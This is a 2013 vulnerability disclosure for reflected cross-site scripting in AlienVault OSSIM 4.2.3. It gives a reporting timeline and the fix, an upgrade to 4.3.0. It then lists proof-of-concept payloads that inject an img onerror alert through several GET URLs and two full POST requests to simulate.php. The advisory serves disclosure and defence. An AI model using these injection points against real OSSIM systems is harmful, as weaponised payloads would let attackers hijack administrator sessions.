# Title: Alienvault OSSIM Open Source SIEM 4.2.3 Multiple Reflected XSS Vulnerabilities
# Date: July 25, 2013
# Author: xistence ( xistence[@]0x90[.]nl )
# Vendor: AlienVault
# Vendor URL: http://www.alienvault.com
# Reported: June 24, 2013
# Fix: Upgrade to version 4.3.0


Timeline:
---------
24 Jun 2013: Vulnerability Reported to AlienVault
25 Jul 2013: Still no Vendor response.
xx Jul 2013: Vendor has released version 4.3.0. Version 4.3.0 is not
vulnerable to these vulnerability, probably fixed by vendor.
25 Jul 2013: Public Disclosure


Vendor Description:
-------------------
AlienVault's open source SIEM project, OSSIM, created in 2003, is the most
widely used SIEM offering with over 195,000 downloads in 175 countries.

OSSIM provides all of the features that a security professional needs from
a SIEM offering event collection, normalization, and correlation.
Established and launched by security engineers out of necessity, OSSIM was
created with an understanding of the reality many security professionals
face: a SIEM is useless without the basic security controls necessary for
security visibility. OSSIM addresses this reality by providing the
essential security capabilities built into a unified platform. Standing on
the shoulders of the many proven open source security controls built
into the platform, OSSIM continues to be the fastest way to make the first
steps towards unified security visibility.

AlienVault provides ongoing development for OSSIM because we believe that
everyone should have access to sophisticated security technologies;
this includes the researchers who need a platform for experimentation, and
the unsung heroes who can't convince their companies that security is a
problem.


Vulnerability Details:
----------------------

OSSIM 4.2.3 and lower is vulnerable to multiple reflected cross site
scripting (XSS) vulnerabilities. The PHP code does seem to sanitize a lot of
input to protect against XSS/SQLi/etc. such as disallowing <script> code
tags. However, it's possible to inject <img src=a onerror=[javascriptcode]>
to execute javascript code on the client browser. Below are the reflected
XSS vulnerabilities.

[ 0x01 - Reflected XSS GET ]

https://
<IP>/ossim/vulnmeter/index.php?withoutmenu=%22%3E%3Cimg%20src%3da%20onerror%3dalert%28%27XSS%27%29%3E
https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/av_inventory/task_edit.php?section="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/nfsen/rrdgraph.php?cmd=get-detailsgraph&profile=<img%20src%3da%20onerror%3dalert('XSS')>


[ 0x02 - Reflected XSS POST request #1 ]

POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

hosts_alive=1&scan_locally=1&not_resolve=0&scan_server=<img%20src%3da%20onerror%3dalert('XSS')>&targets=blah


[ 0x03 - Reflected XSS POST request #2 ]

POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

hosts_alive=1&scan_locally=1&not_resolve=0&scan_server=Null&targets=blah<img%20src%3da%20onerror%3dalert('XSS')>